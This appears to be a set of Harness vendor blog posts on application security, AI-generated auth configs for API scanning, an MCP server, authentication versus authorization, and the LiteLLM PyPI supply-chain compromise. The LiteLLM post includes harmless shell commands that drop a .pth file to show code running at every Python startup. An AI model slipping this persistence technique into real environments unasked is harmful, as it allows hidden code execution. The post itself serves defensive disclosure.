But as applications move to the cloud, cloud security and infrastructure teams have a stake in application security outcomes as well. They're the ones with visibility into what's actually running in production - what's internet-facing, what's over-privileged, what's actively being exploited. Cloud security platforms have expanded their focus from purely infrastructure and runtime back through the SDLC to code. For many cloud teams, application security isn't a handoff; it feeds into their cloud risk picture.

The result is that application security now has multiple stakeholders with different vantage points. DevSecOps teams see risk through the lens of the CI/CD pipeline and the developer workflow. Cloud security teams see it through the lens of the deployed environment and the blast radius of a breach. Neither view is complete on its own. The good news is that these teams don't have to choose between their tools or their workflows. They need integration that lets each team work in their context while sharing the signals that make both more effective.

Integrating Wiz Code into CI/CD Pipelines with Harness STO

DevSecOps teams need to expand right. SAST and SCA tools often generate more findings than any team can fix. Runtime context helps separate signal from noise. Knowing that a vulnerable service is actively internet-facing or that a dependency with a critical CVE is actually loaded in production changes how a team prioritizes. Without it, developers are left triaging based on CVSS scores alone. With it, they can focus effort where exposure is real and the risk in production is highest.

Harness Security Testing Orchestration (STO) makes it easy to orchestrate Wiz Code across your CI/CD pipelines. With a pre-built integration, you can deploy Wiz Code in just a few clicks instead of needing to create a custom integration or write custom scripts. Harness orchestrates Wiz Code alongside all your other scanners so you know your pipelines always get the required security tests, without needing to manually coordinate multiple tools.

Once Wiz Code is integrated, STO aggregates findings with other scanners in your pipeline, automatically deduplicating vulnerabilities so teams aren't triaging the same issue twice. The consolidated view means developers and security engineers can see the full picture in one place, understanding pipeline-level risk and assigning tickets to developers. In addition, Harness Policy as Code lets teams define and take action at the pipeline level instead of tool by tool, so decisions about what to fail a build on, what to flag for review, and what to pass through are applied consistently and holistically across every scan and pipeline.

Feeding Harness SAST and SCA Findings Into Wiz

Cloud security is pushing left - past runtime, past containers, all the way back to the code and open source packages that vulnerabilities originate from. The driver is enabling action. A misconfigured cloud resource or a vulnerable container image is more actionable when you can tie it back to the specific dependency introduced in a pull request, the developer who owns the code, and the pipeline that shipped it. Runtime findings without code context are just alerts. With code context, they become actionable work items that can be routed to the right person and fixed at the source.

Wiz Application Security Posture Management (ASPM) is designed to aggregate findings from across the SDLC and correlate them with runtime context - what's deployed, what's exposed, and what's actually at risk. By integrating Harness SAST and SCA scanner findings directly into Wiz, cloud security teams can connect the dots between a vulnerable open source package or insecure code pattern and the running workloads it affects. That correlation is what turns a list of CVEs into a prioritized risk picture that reflects what's actually happening in production.

For cloud security teams already working in Wiz, this integration means Harness SAST and SCA become part of their existing workflow rather than a separate tool to check. Code-level findings surface alongside runtime signals in the same platform where cloud risk is already being managed, analyzed, and acted on. Teams get broader coverage without adding friction, and the context that makes those findings meaningful - reachability, exposure, business criticality - is already there when they need it.

AppSec Is a Team Sport. Your Tools Should Be Too.

DevSecOps and cloud security teams are not generally not competing - they're looking at risk from different angles. One team lives in the development pipeline; the other lives in the cloud. Both need visibility into what the other sees to do their jobs well. When those views are siloed, findings get duplicated, priorities diverge, and the vulnerabilities that matter most fall through the cracks between teams.

Harness and Wiz close that gap from both directions. DevSecOps teams get runtime signals from Wiz Code inside the pipeline context where they already work, so they can prioritize fixes based on real-world exposure. Cloud security teams get code-level findings from Harness SAST and SCA inside the risk context where they already work, so they can trace production risk back to its source. Each team keeps their workflow. Both teams get the full picture.

The right combination of these integrations depends on how your organization is structured, where application security ownership sits today, and where you want it to go. If you're a Wiz customer evaluating how Harness SAST and SCA fit into your security program, or a Harness customer looking to bring runtime context into your pipelines, contact your Harness account team to understand how you can map the integrations to your specific environment.

Technical

Eliminate Manual Authentication Configuration for Fast & Effective API Security Scanning

Generate API authentication configs instantly with AI. Eliminate setup friction, improve scan success, and accelerate dynamic application security testing.

Michael Isbitski

Md Zaid Imam

April 27, 2026

Time to read

Application security testing tools promise coverage and accuracy, but teams often struggle just to get started. One of the biggest friction points in dynamic application security testing is configuring authentication correctly so a scanner can even access a target application, let alone API endpoints that power the functionality.

Whether it’s API keys, bearer tokens, or custom auth flows, setting up authentication for scans frequently requires trial-and-error and engineering support. This reality of scanning configuration slows down security validations, delays insights, and makes it difficult to integrate with AI-driven tooling that depends on fast, accurate access to API endpoints.

Today, we’re excited to introduce AI-Powered Custom Authentication Generation—a new capability designed to eliminate this friction and help teams move from setup to security insights faster than ever.

What’s New: AI-Powered Authentication Generation

With this release, teams can now generate and refine authentication configurations using natural language and LLMs. Instead of manually configuring authentication logic or relying on additional support, users can simply describe their requirements and let AI handle the rest.

The average time to configure authentication for API security testing is measured in seconds, whereas older manual approaches can take hours and require extensive trial-and-error.

Here are a few highlights:

Use Natural Language to Create Auth Scripts: Generate fully functional authentication configurations by describing your needs in plain English.
Support for Common Auth Types: Easily create configurations for API keys, JWTs, Bearer tokens, and more.
Iterative Refinement with AI: Update and fine-tune authentication logic by prompting the system instead of time-consuming scripting or manual adjustments.
Inline Visibility and Change Tracking: Steps taken by AI to generate auth flows are audited, and testing runs are logged fully to maintain transparency and control.

Why is Authentication Setup Difficult Historically?

Authentication setup has long been one of the most frustrating parts of security scanning. Access control mechanisms are already complex due to security hardening used to protect applications and APIs. Successfully automating authentication flows so a machine can access an app or endpoint raises the bar substantially.

Some of the common pain paints include:

Manual configuration slows down work: Teams often need to consult different documentation, dashboards, and code to define authentication flows correctly. Even small mistakes can cause scans to fail silently or produce incomplete results.
Lack of standardization creates confusion: Each application or API may use slightly varied access control mechanisms and authentication material, including headers, tokens, cookies, and custom flows. Practitioners must rebuild the logic from scratch each time due to inconsistent implementation.
Iteration is painful and time-consuming: If something doesn’t work, fixing it usually requires manually editing scripts, rerunning scans, and debugging errors. Oftentimes, additional help from support or engineering teams is needed.
Limited visibility makes troubleshooting harder: When authentication fails, it’s not always clear why. Without clear feedback or context, teams spend valuable time diagnosing issues rather than improving their security posture.

What should be a simple prerequisite, gaining authenticated context into an application, becomes a major bottleneck to dynamic application security testing.

How AI-Powered Authentication Changes the Game

The new AI-powered authentication feature in Harness API Testing removes these barriers entirely by reworking how authentication config is created and managed.

Generate Authentication in Seconds

Users can navigate to the authentication configuration page, select the custom option, and simply describe what they need. For example:

“Generate an API key-based authentication hook where the token <token> is injected into the request header <authorization>.”

With a single click on “Generate with AI,” the system produces a complete, ready-to-use authentication script. This functionality eliminates the need to write or stitch together configurations manually.

Support for Multiple Authentication Types

The feature supports a range of common authentication mechanisms, including:

API key-based authentication
JWT-based authentication
Bearer token authentication

This flexibility ensures teams can quickly configure access regardless of how their application or API is secured. Learn more details about the supported authentication types.

Refine Without Rewriting

Authentication requirements often evolve. Instead of starting over, users can iteratively refine their configurations using natural language prompts.

For example, if you want to change how credentials are injected into the auth flow, you can simply say:

“Change the injection type to header name.”

By selecting “Refine with AI,” the system updates the existing configuration accordingly—no manual edits required.

Built-In Transparency

Every AI-generated or modified configuration includes inline comments that explain what changed. These comments make it easier for teams to:

Understand how authentication is implemented
Review updates confidently
Maintain control over their configurations

Additionally, no credentials are stored in logs or persisted in prompts. Any sensitive authentication material is masked and encrypted at rest.

Faster, More Reliable Scans

By reducing setup errors and simplifying authentication configuration, this Harness API Testing feature directly improves scan success rates. Teams can spend less time troubleshooting authentication issues and more time analyzing real security findings.

Unlocking Faster, Smarter Security Workflows

This release is more than just a usability improvement. It’s a foundational step towards enabling AI-driven security workflows.

By removing the friction of authentication setup, teams can:

Onboard new applications for testing faster
Integrate seamlessly with AI-powered testing and analysis tools
Reduce dependency on manual scripting and support interventions
Achieve more consistent and reliable scan coverage

Ultimately, this translates to a faster time-to-value and a more scalable approach to dynamic application security testing.

Get Started Today

AI-Powered Custom Authentication Generation is available immediately with your existing Harness subscription. You can find related technical documentation here.

Current Customers: Log in to your dashboard today to start exploring your threat data in a whole new dimension.

New to the Platform? If you aren't yet protected, contact us to schedule a personalized demo.

Request a demo

Technical

Unlocking Security Potential for AI: Introducing the Harness WAAP MCP Server

Harness WAAP MCP Server bridges security data and AI workflows using the Model Context Protocol (MCP). Get real-time insights via natural language prompts to power custom AI workflows and executive reporting.

Michael Isbitski

Vikas Gautam

April 10, 2026

Time to read

Security teams face overwhelming amounts of data and complex interfaces, making it hard to access critical insights. AI tools promise solutions, but integration remains difficult as time ticks away and leadership wants the latest data to inform risk decisions.

Most security platforms lack seamless integration, slowing access to important data and hindering AI-powered workflows.

Introducing the Harness Web Application & API Protection (WAAP) MCP Server, a new solution that bridges the gap between security data and AI workflows. The capability empowers teams to serve security data to AI tools for faster, more intuitive insights. Make your security data accessible through natural-language prompts and directly consumable by MCP-compatible AI tools like Claude, VS Code, Cursor, and more.

With the Harness WAAP MCP Server, you’re no longer confined to dashboards for deep security insights, and you can power AI workflows, custom analysis, and executive-ready reporting.

Key Highlights

AI-Native Security Access: Seamlessly connect Harness security data with LLM-powered assistants and copilots, enabling teams to access, analyze, and act on security insights without complex setup.
Standardized Interface via MCP: The Model Context Protocol ensures consistent, reliable access to security data, reducing integration friction and eliminating proprietary barriers.
Real-Time Threat Inspection: Instantly query live threat data, vulnerabilities, and API behavior, empowering teams to make faster decisions and reduce response times.
Controlled Data Access: Easily manage access controls and governance, ensuring teams can integrate new solutions without adding security or compliance risk.

Why Security Teams Struggle Today

Harness builds its UI/UX to maximize functionality and customizability, adopting API-centric design and providing thorough API documentation. Being API-enabled is critical for system integrations and agentic workflows, but it’s an area where other solutions struggle. Despite significant investment or self-engineering, teams struggle to effectively leverage data from other security tools.

Access is Unintuitive

Many traditional security platforms require users to navigate multiple dashboards, filters, and proprietary query builders. Even experienced users waste time finding the “right” data instead of acting on it. This friction is even more apparent when teams try to embed security into developer workflows or automation pipelines.

Lack of Integration Standards

Each platform uses its own data schemas, authentication models, and APIs, if any are even available. Integrating services or data into AI tools or other automated systems typically requires custom engineering, ongoing maintenance, and deep familiarity with the underlying system. It’s also a moving target, as vendors can change something and break integrations.

Security Data Isn’t AI-ready

Many security tools weren’t designed with LLMs or AI agents in mind. Data is frequently unstructured and inconsistently formatted. The data is also difficult to query, both conversationally and programmatically, which is fundamental for agentic workflows. This reality limits teams' ability to leverage AI to accelerate investigation, triage, and decision-making in security use cases such as vulnerability management and incident response.

Governance Is a Blocker

Even when teams want to publish security data safely, they must carefully manage permissions, ensure compliance, and prevent overexposure. This governance reality often leads to overly restrictive setups that negate the benefits of integration. The result is a disconnect: powerful security insights exist, but they’re too buried to find and act on.

Bring Security to AI Workflows with the Harness WAAP MCP Server

Security teams desire programmatic access to data via APIs for custom analysis and, increasingly, AI integration. The Harness WAAP MCP Server is designed to solve these challenges by providing a standardized, AI-friendly interface to your security data. The MCP server implements the Model Context Protocol, a de facto standard for enabling structured interactions between AI systems, data, and external tools. Instead of forcing you to engineer custom integrations, the MCP server empowers you to discover and interact with Harness security capabilities consistently and predictably.

Structured Access to Harness Data

The MCP server exposes key Harness security data, including threat detection, API inventory, vulnerability insights, and behavioral analytics. The data is served up with structured endpoints that AI tools can query directly. This design eliminates the need for manual navigation through dashboards or the need for custom API wrappers, saving time and enabling faster incident response. All of this happens through standardized MCP calls, making it easy to plug Harness security data into other AI ecosystems and workflows.

Need a custom report for security leadership based on the context you define, not what the user interface dictates? The Harness WAAP MCP Server makes it possible with a simple prompt like:

“Generate me an executive summary of my overall security posture.
Format it in HTML/CSS/JS in a single report.html file.
Make the styling clean, modern, and professional.”

Simplified Integration

By using a standard protocol, the MCP server drastically cuts integration effort and complexity, enabling teams to use existing MCP-compatible clients for rapid, sustainable access to data in the Harness platform.

This standardization accelerates time-to-value, boosts tooling investments, and future-proofs integrations as the MCP ecosystem continues to grow. Combine nonsecurity and security data as you see fit. One of the most powerful aspects of MCP is composition.

Security teams are combining:

Auto-discovered APIs from Harness API discovery
Internally documented APIs
Business metadata
Environment and ownership data

They’re also doing this within custom AI workflows to answer questions that were previously painful or impossible with traditional tools.

Designed for Agentic AI

Traditional APIs often require rigid query construction, but the Harness WAAP MCP Server is optimized for dynamic, context-driven queries, ideal for use with LLM-based assistants and agentic workflows. Users or AI agents can ask questions like:

“What is my overall security posture in production?”
“Show me high-risk APIs handling PII with active threats.”
“Which shadow APIs exist outside our internal documentation?”
“What new threats were detected in the last 24 hours?”
“Which AI-related APIs are transmitting PHI to 3rd party AI vendors?”
“What API security anomalies occurred in the past 7 days?”

As an example, you can prompt for and interact with security data directly through Anthropic Claude via MCP:

The MCP layer translates these interactions into authenticated, structured queries against Harness’s backend security services, returning actionable insights in real time.

Secure by Design

Security is always paramount at Harness. The Harness WAAP MCP Server enforces strict authentication with a simple token-based approach. You control API key generation, rotation, and deletion. Enable your enterprise teams to confidently integrate security insights into AI workflows without compromising governance or compliance.

Get Started Today

Harness WAAP MCP Server is available immediately with your existing Harness subscription. There is no additional cost or setup required. Related technical documentation can be found here.

Current Customers: Log in to your dashboard today to start exploring your security data in AI tools.

New to the Platform? If you aren't yet protected, contact us to schedule a personalized demo.

Technical

Authentication vs Authorization: What’s the Difference and Why It Matters

Learn the difference between authentication vs authorization, why both matter for app security, and how to protect modern APIs and microservices.

Michael Isbitski

April 3, 2026

Time to read

Authentication (autnN) proves identity; authorization (authZ) controls what that identity can access. You need both. One without the other leaves gaps.
In modern apps and microservices, you typically authenticate once but authorize at every sensitive boundary: APIs, services, and individual resources.
Strong authN/authZ, plus runtime protection, give you the layered defense modern web apps and APIs actually need.

‍

Let's get something out of the way: authentication and authorization are not the same thing.

We know, we know. People swap the two terms constantly. And honestly, it's easy to see why. They both start with "auth," they both deal with security, and they often show up in the same conversations on access control. But if you build or secure software, blurring the line between authentication and authorization is how you end up with a system where everyone is logged in and everyone is an admin. Not great.

Getting this distinction right is really the starting point for securing any modern web app or API with strong access controls. Authentication proves who's calling. Authorization decides what that caller can actually touch. And if you want runtime protection that goes beyond just getting those two right (think API discovery, security testing, and real-time threat defense), that's where a platform like Harness Web Application & API Protection (WAAP) fits in.

But first, let's break this down properly.

What Is Authentication?

Authentication answers one question: "Are you who you say you are?"

That's it. It's the process of verifying that a user, service, or machine is actually who they claim to be. They present something only they should possess; you check it against something you trust. Done.

The factors you'll see in practice usually fall into three buckets:

Something you know. Passwords, PINs, challenge question answers.
Something you have. Hardware tokens, authenticator apps, SMS codes, smart cards.
Something you are. Fingerprints, facial recognition, voice recognition.

Most modern systems don't rely on just one of these. They combine them into multi-factor authentication (MFA). You've done this yourself: type in your password, then confirm with a code from your authenticator app, which is often called two-factor authentication (2FA).

Here's what a typical authentication flow looks like in a web or mobile app:

A user submits credentials on a login page.
An identity provider (IdP) or authentication server verifies those credentials.
If everything checks out, the system creates an authenticated session and issues an authentication token.
Subsequent requests include that session identifier, the authentication token, or both, depending on the implementation, to prove the user has already been authenticated.

A handy way to think about it: authentication is the front desk of a secure building checking your ID badge before you’re able to walk in.

And this doesn't just apply to end users. In a mature engineering setup, you also want strong authentication to control access to your delivery tools. If you're using Harness Continuous Integration or Harness Continuous Delivery & GitOps, that means tying in SSO and MFA so only verified identities can trigger or modify your pipelines. It's a seemingly small matter, but it prevents big headaches.

What Is Authorization?

Authorization answers a different question entirely: "What are you allowed to do?"

Someone can be fully authenticated — you know exactly who they are — and still be blocked from certain actions. That's authorization doing its job.

There are a few common models for expressing authorization:

Discretionary Access Control (DAC). The resource owner decides who gets access. Think file sharing permissions.
Role-Based Access Control (RBAC). Permissions get grouped into roles like "viewer," "editor," or "admin." You assign users roles rather than giving them raw permissions one by one.
Attribute-Based Access Control (ABAC). Access decisions factor in attributes — department, region, environment, risk score, time of day. More flexible, but more complex.

Some quick examples of authorization in the real world:

A regular user can view their own profile but can't edit someone else's.
A team member can see project data, but only the project owner can delete the project.
An internal service can read from a database but can never write to certain tables.

If authentication is the front desk checking your ID, authorization is the badge reader on each door deciding which rooms your badge actually opens.

You see this play out in any mature platform. Fine-grained RBAC and policy controls determine who can deploy, who can approve changes, and who can modify infrastructure or experiment with configurations. It's not enough to know who someone is; you need to control what they can do.

Authentication vs Authorization: Key Differences at a Glance

Here's a quick comparison table you can bookmark and come back to.

Aspect	Authentication	Authorization
Core question	Who are you?	What are you allowed to do?
Purpose	Verify identity	Control access and actions
Happens when	At login or initial connection	After authentication, on every access decision
Basis for decision	Credentials or identity factors	Policies, roles, attributes, permissions
Data involved	Usernames, passwords, keys, tokens, certificates	Roles, scopes, permissions, resource rules
Visible to user?	Usually, yes: login prompts, MFA challenges	Often invisible: access is allowed or denied behind the scenes
Granularity	Identity level (user, service, device)	Resource and action level (what, where, how)
Example question	"Is this really Alice?"	"Can Alice edit this invoice?"
Typical components	Identity provider, login form, MFA provider	Policy engine, ACLs, RBAC/ABAC rules, permission checks
Failure result	Cannot log in or start a session	Logged in, but specific operations or resources are denied

The short version: authentication proves identity, authorization limits power.

How Authentication Works in Modern Applications

Password-based login. The classic username-and-password combo, usually augmented with MFA these days.

Single Sign-On (SSO). You authenticate once against an IdP, then use multiple apps without logging in again. Typically powered by SAML or OpenID Connect. If you've ever clicked "Sign in with Google" at work and had five different tools just... work, that's SSO.

Passwordless authentication. Magic links, WebAuthn, hardware keys, or biometrics. The whole idea is to reduce your dependence on passwords, which — let's be honest — people are terrible at managing.

A few protocols and standards worth knowing:

OAuth 2.0. A framework for delegated access. Often paired with OpenID Connect for authentication.
OpenID Connect (OIDC). Sits on top of OAuth 2.0 and defines how to authenticate users and issue ID tokens.
SAML 2.0. The XML-based standard you'll see all over enterprise SSO setups.

A typical OIDC-based flow looks like this:

Your application redirects the user to the IdP login page.
The user authenticates with credentials (and possibly MFA).
The IdP issues an ID token (who the user is) and often an access token (for API calls).
Your application validates the token and starts an authenticated session.

But here's the thing people forget: once someone is authenticated, they still need authorization checks for every specific action they try to take. That's the next layer.

And as you automate more of your software delivery lifecycle with tools like Harness CI/CD and Harness Feature Management & Experimentation, enforcing strong authentication for deploys, rollouts, and feature flag operations becomes part of your security posture — not something you bolt on later.

How Authorization Works in Modern Applications

After authentication establishes identity, authorization decides what that identity is actually allowed to do. This is where the real granularity lives.

The key building blocks:

Roles and permissions. Roles like "user," "manager," "admin," "billing," "support." Permissions like "read:projects," "update:billing," "delete:users." You map permissions to roles, and roles to identities. Usually, this is synonymous with permissioning data and functionality so that people can access them, but in the age of AI, identities are increasingly machines.

Policies. Conditional rules, for instance: "Allow role = manager to approve expenses up to $10,000" or "Deny write access to production logs for everyone except SREs." This is where things get interesting.

Scopes. Common in OAuth flows: strings like read:user or write:orders that get granted to clients or tokens.

Here's a practical example. Imagine a project management SaaS:

Members can create and edit tasks within their own projects.
Project owners can invite users and manage project-level permissions.
Organization admins can configure billing and company-wide settings.

In code, authorization checks can live in several places:

API gateways (route level)
Middleware (request pipeline)
Business logic (right before executing an operation),
External policy engines (dedicated decision services your app queries).

The best practice? Keep these rules streamlined, centralized, and auditable. If access rules are scattered across dozens of gateways, controllers, and routing services, you’ll struggle to track what's actually enforced.

Common Pitfalls When You Mix Up Authentication and Authorization

Confusing authentication and authorization isn't just a terminology slip. It's a security problem that shows up in real systems all the time.

Here are the mistakes we see most often:

"If you're logged in, you can do everything." The system treats authentication as the only gate. The result? Every authenticated user basically has admin access. This is more common than you'd think, especially in internal tools that start as quick prototypes and never get proper authorization layers.
Authorization checks only in the UI. The buttons are hidden from certain users, but the underlying APIs don't enforce the same rules. Anyone with network access and a bit of curiosity (or a tool like Postman) can call privileged endpoints directly.
Permissions scattered across the codebase with no central view. Developers copy-paste authorization checks into controllers, services, and frontends. Over time, it becomes impossible to understand who can actually do what in the system.
Over-trusting third-party auth. Teams assume that because SSO or social login is in place, authorization is "handled." But authentication-as-a-service doesn't mean authorization is solved. They're separate problems.

The fix is straightforward in concept: treat authentication and authorization as separate, layered concerns; each with their own design, tooling, and governance. Strong identity and access control at the application and platform level, combined with runtime defense from something like Harness WAAP, gives you visibility, prevention, and protection to mitigate threats that inevitably arise.

Authentication vs Authorization in Cloud and Microservices

In distributed cloud-native systems, the authentication vs authorization picture gets more complex. It's not just about human users anymore. It's also services, workloads, and machines, or non-human identities (NHI) talking to each other. Authentication material, often referred to as secrets, can proliferate rapidly.

Here are the patterns that matter:

API and gateway authentication. Gateways and microgateways verify tokens, certificates, or API keys. Once a request is authenticated, authorization policies determine which backend services or microservices it can actually reach.
Service-to-service identity. Microservices authenticate to each other using mutual TLS, service accounts, or workload identities. Authorization then defines which services can call which APIs, and with what HTTP methods.
Fine-grained authorization per resource. Picture a multi-tenant SaaS that authorizes every single request based on tenant, user role, resource owner, and environment (dev, staging, production). That's a lot of decisions happening very fast.

A useful mental model: Authenticate once. Authorize often. Identity gets established at the start of a request. Authorization happens at every gate where something sensitive might occur.

At this scale, you also need visibility. Harness WAAP discovers APIs (including shadow APIs and zombie APIs you didn't even know existed), understands traffic patterns, and applies API-centric protection on top of whatever access controls you already have in place. It's built for cloud-native environments, with deployment options ranging from out-of-band traffic mirroring to inline agents at the gateway level to edge-delivered protection.

Choosing the Right Authentication Strategy

A good authentication strategy balances usability, security, and operational overhead. Here's what to think about:

MFA by default for admin accounts, financial operations, and anything touching production. MFA should also be a preferred default for customer identity, particularly when controlling access to sensitive or regulated data like PHI or PII.
Single Sign-On with a central IdP for teams and enterprises. It reduces password reuse and credential fatigue so users stop creating variations of "Summer2024!" across twelve different applications.
Passwordless options where you can get away with them, such as in customer applications where lower friction and higher usability are paramount. These options cut phishing risk dramatically.
Token-based auth such as JSON Web Tokens (JWT) and opaque tokens for APIs and mobile apps, with proper expiration and rotation policies.

Some design questions worth asking early:

Who are your users? Humans, non-human identities, or both?
How critical is the data or operation they're accessing?
What regulatory or compliance requirements apply?
How will you cleanly onboard and offboard users?

On the delivery side, use strong authentication for everything that can change your production system. Production impact should never hang on a shared service account or a weak auth story.

Designing a Solid Authorization Model

Authorization design has a direct impact on how secure and maintainable your system feels day to day. Get it right early, and life is good. Get it wrong, and you'll be untangling spaghetti permissions for years.

Here's what works:

Use roles, not individual permission lists everywhere. Map your real-world responsibilities to roles, then assign permissions to those roles. It's far easier to reason about "what can an editor do?" than to track permission assignments for 500 individual users.
Add attributes when roles aren't enough. ABAC patterns shine when you need to factor in department, geography, environment, or risk signals. Not every access decision is as simple as "admin or not admin."
Enforce least privilege. Start with minimal permissions and add what's actually needed. This sounds obvious, but the default in most organizations is to hand out broad access and hope for the best.
Centralize your decision logic. Use a consistent policy engine or middleware for all authorization checks, with proper logging and audit trails.
Review regularly. Roles and policies drift over time. People change teams, projects wind down, new services spin up. Periodic reviews keep your model aligned with reality.

Platforms that bake in policy-as-code, governance, and auditability make this much more practical.

Get Authentication and Authorization Right Early

The difference between authentication and authorization is simple to describe and surprisingly easy to forget in the day-to-day rush of shipping features. Authentication proves identity. Authorization defines and enforces what that identity can do. Two separate problems, two separate layers of defense.

Designing both layers up front — with clear models, strong authentication, and auditable authorization policies — saves you from painful retrofits, compliance surprises, and security incidents down the road.

Then you protect everything you've built at runtime. For full API visibility and real-time defense of your web apps and APIs — without slowing down your engineering teams — take a closer look at Harness Web Application & API Protection (WAAP) and pair it with secure delivery powered by Harness CI/CD.

Book a demo to get started.

FAQ: Authentication vs Authorization

Why is it important to understand authentication vs authorization?

Because they solve different problems. Authentication proves identity. Authorization controls access. If you blur that line, you either block valid users from doing their work or, worse, grant excessive power to anyone who can log in.

Can you have authorization without authentication?

In any secure system, not really. You need an authenticated identity before you can make meaningful authorization decisions. There are anonymous or public access patterns, sure, but those are modeled as very limited authorization cases; not a free pass.

What are some real-world examples of authentication?

Typing a password into a login form. Using Face ID on your phone. Inserting a smart card into a corporate laptop. Scanning a fingerprint to open a secure door. Confirming a login with a one-time code from an authenticator app. If you're proving you are who you say you are, that's authentication.

What are some real-world examples of authorization?

Being able to view a dashboard but not edit system settings. Having read-only access to a database table. Being allowed to approve expenses up to a certain dollar amount. Having permission to deploy to staging but not to production. If the system is deciding what you can and can't do, that's authorization.

How do OAuth 2.0 and OpenID Connect relate to authentication vs authorization?

OAuth 2.0 started primarily as a framework for authorization — specifically, delegated access. OpenID Connect adds a standardized authentication layer on top of OAuth 2.0. In practice, many systems use them both, but they still map cleanly to the separate ideas of "who are you" (authentication) and "what can you do" (authorization).

Technical

LiteLLM Compromise: Securing AI Pipelines from PyPI Supply Chain Attacks

LiteLLM PyPI was compromised in a supply chain attack, using .pth files and blockchain C2 to steal credentials and execute persistent, multi-stage malware.

Pranay Shah

Roshan Piyush

March 26, 2026

Time to read

On March 24, 2026, the AI open-source ecosystem was impacted by a critical supply chain attack involving the widely used Python package LiteLLM. Attackers compromised the LiteLLM PyPI distribution pipeline and published malicious versions (notably in the 1.82.7-1.82.8 range), embedding a multi-stage payload designed to steal credentials and execute remote code.

The malicious code executed during normal library usage, making it particularly dangerous for AI applications that integrate LiteLLM into inference pipelines, RAG systems, and API gateways. The attack leveraged Python’s .pth file mechanism, a lesser-known but powerful feature that allows arbitrary code execution during interpreter initialization. The malicious package dropped a file (e.g., litellm_init.pth) into the Python environment, ensuring that the payload was executed every time the Python interpreter started, regardless of whether LiteLLM was explicitly imported.

However, this was not a simple static backdoor. The package implemented a multi-stage execution chain, where initial execution triggered outbound communication to attacker-controlled infrastructure to retrieve further instructions dynamically.

Notably, the malware leveraged blockchain-based command-and-control (C2) and extracting payload locations from transaction metadata. This allowed attackers to update payload delivery dynamically without modifying the package itself, making detection and takedown significantly harder.

The attack also performed a cross-language execution pivot, downloading a Node.js runtime onto the host system and executing an obfuscated second-stage JavaScript payload. This technique enabled evasion of Python-focused security controls and introduced runtime behavior that would not typically be expected during dependency execution.

Once triggered, the payload attempted to exfiltrate sensitive environment variables and secrets, including API keys for major LLM providers (OpenAI, Anthropic), cloud credentials, and internal tokens.

Python .pth Files: Silent Execution Hooks at Interpreter Startup

A critical aspect of this attack is the abuse of Python’s .pth file mechanism, an often overlooked feature that can be weaponized for persistent, pre-execution code injection.

.pth files are automatically processed during Python interpreter startup via the site module. They are typically located in site-packages or user site directories and are intended to extend Python’s module search path.

However, .pth files support more than just path configuration. If a line starts with an import, it is executed immediately:

Example: Simple Demo of Hidden Code Execution

DIY: Find your site-packages path

python3 -c "import site; print(site.getsitepackages())"
# Or 
python3 -c "import site; print(site.getusersitepackages())"
#  Choose the one with write access and 
#  write a demo1.pth file to that site packages dir
echo 'import sys; print("[PTH DEMO EXECUTED]")' > /path/to/site-packages/demo1.pth

Or

Automated script to create the demo .pth file

git clone https://github.com/aspen-labs/python_pth_autoexecution.git
cd python_pth_autoexecution
python3 demo_pth.py

Now, every time Python runs,

> python3 -c "print('Hello')"
[PTH DEMO EXECUTED]
Hello

Impact:

Compromised PyPI versions of LiteLLM (primarily 1.82.x series) distributed malicious code to downstream users.
Persistent execution via .pth interpreter hijacking, enabling code execution on every Python startup without intended use of the library.
Use of decentralized C2 (blockchain) makes traditional takedown and IOC blocking less effective.
Execution of second-stage JavaScript payloads (e.g., i.js), enabling cross-language runtime pivoting and evasion of Python-focused detection controls
Exposure of sensitive credentials, including LLM API keys, cloud provider secrets, and environment variables.
High risk to AI/LLM applications, especially RAG pipelines and backend services handling user prompts and responses.
Potential lateral movement into CI/CD systems and production environments due to leaked credentials.

This attack highlights a new class of supply chain risk centered around AI infrastructure dependencies. Unlike traditional package compromises, the blast radius extends into model access, prompt data, and downstream AI workflows. It reinforces the need for continuous dependency monitoring, real-time SBOM visibility, and strict policy enforcement to prevent compromised packages from entering build and runtime environments.

How Harness Supply Chain Security Helps

Harness SCS helps you quickly detect and contain compromised dependencies like the LiteLLM package before they impact your pipelines. With real-time visibility into your SBOMs and dependency graph, you can identify affected versions, trace their usage across builds and environments, and block them using OPA policies. This ensures malicious packages never propagate through your CI/CD or AI workflows.

Detect Compromised LiteLLM Package

Harness SCS enables instant search across all repositories and artifacts to quickly identify if compromised LiteLLM versions exist in your environment. The moment such a malicious package is disclosed, you can pinpoint its presence and assess impact across your entire supply chain in seconds.

Block Compromised LiteLLM Packages

Harness AI streamlines response to incidents like the LiteLLM compromise through simple natural-language prompts. With a single prompt, you can generate OPA policies to block affected LiteLLM versions across all pipelines, preventing malicious packages from entering builds or deployments. As new compromised versions emerge, these policies can be quickly updated to maintain strong preventive controls across your SDLC. SCS customers can use this OPA policy to detect and block the affected versions

Track & Remediate Issues with Developers

Harness SCS automatically detects compromised LiteLLM versions across both production and non-production environments. Teams can track remediation, assign fixes, and monitor progress through to deployment, ensuring exposed credentials and vulnerable dependencies are addressed quickly. This end-to-end visibility helps contain the impact and prevents compromised packages from persisting in your supply chain.

Next Steps in the Face of Supply Chain Attacks

The LiteLLM compromise highlights how quickly a malicious package can expose high-value secrets when embedded deep within AI application stacks. Given its role in handling LLM requests, the impact extends beyond code to API keys, prompt data, and downstream systems, often bypassing traditional security checks.

Defending against such attacks requires more than reactive fixes. Teams need real-time visibility into dependencies, the ability to enforce policies to block compromised versions, and continuous tracking to ensure remediation is complete across all environments. Harness SCS enables teams to quickly identify where affected LiteLLM versions are used, prevent them from entering new builds, and ensure fixes are consistently rolled out.

With these controls in place, organizations can limit credential exposure, contain threats early, and secure their AI supply chain against attacks like the LiteLLM compromise.

Also, learn how Harness SCS defends against Shai-Hulud, TJ Actions, NPM 1.0, xz-utils supply chain attacks.

Technical

Introducing Radar in Harness Bot & Abuse Protection

Radar, a new threat visualization engine for Harness Bot & Abuse Protection, instantly maps complex attack sequences and speeds up incident response.

Michael Isbitski

Ayan Halder

March 25, 2026

Time to read

Visualizing the DNA of Distributed Attacks

We are thrilled to announce the launch of Radar, a major update to Harness Bot & Abuse Protection that fundamentally changes how security teams investigate and respond to sophisticated threats.

Sophisticated bot attacks are rarely isolated incidents. They are complex networks of connected identities, shared fingerprints, and coordinated behaviors. Traditional lists and tables pulled from disparate logs and event data fail to capture this reality, forcing SOC analysts to manually correlate relevant attack data—a process that costs hours when seconds matter in a potential breach.

Introducing Radar in Harness Bot & Abuse Protection

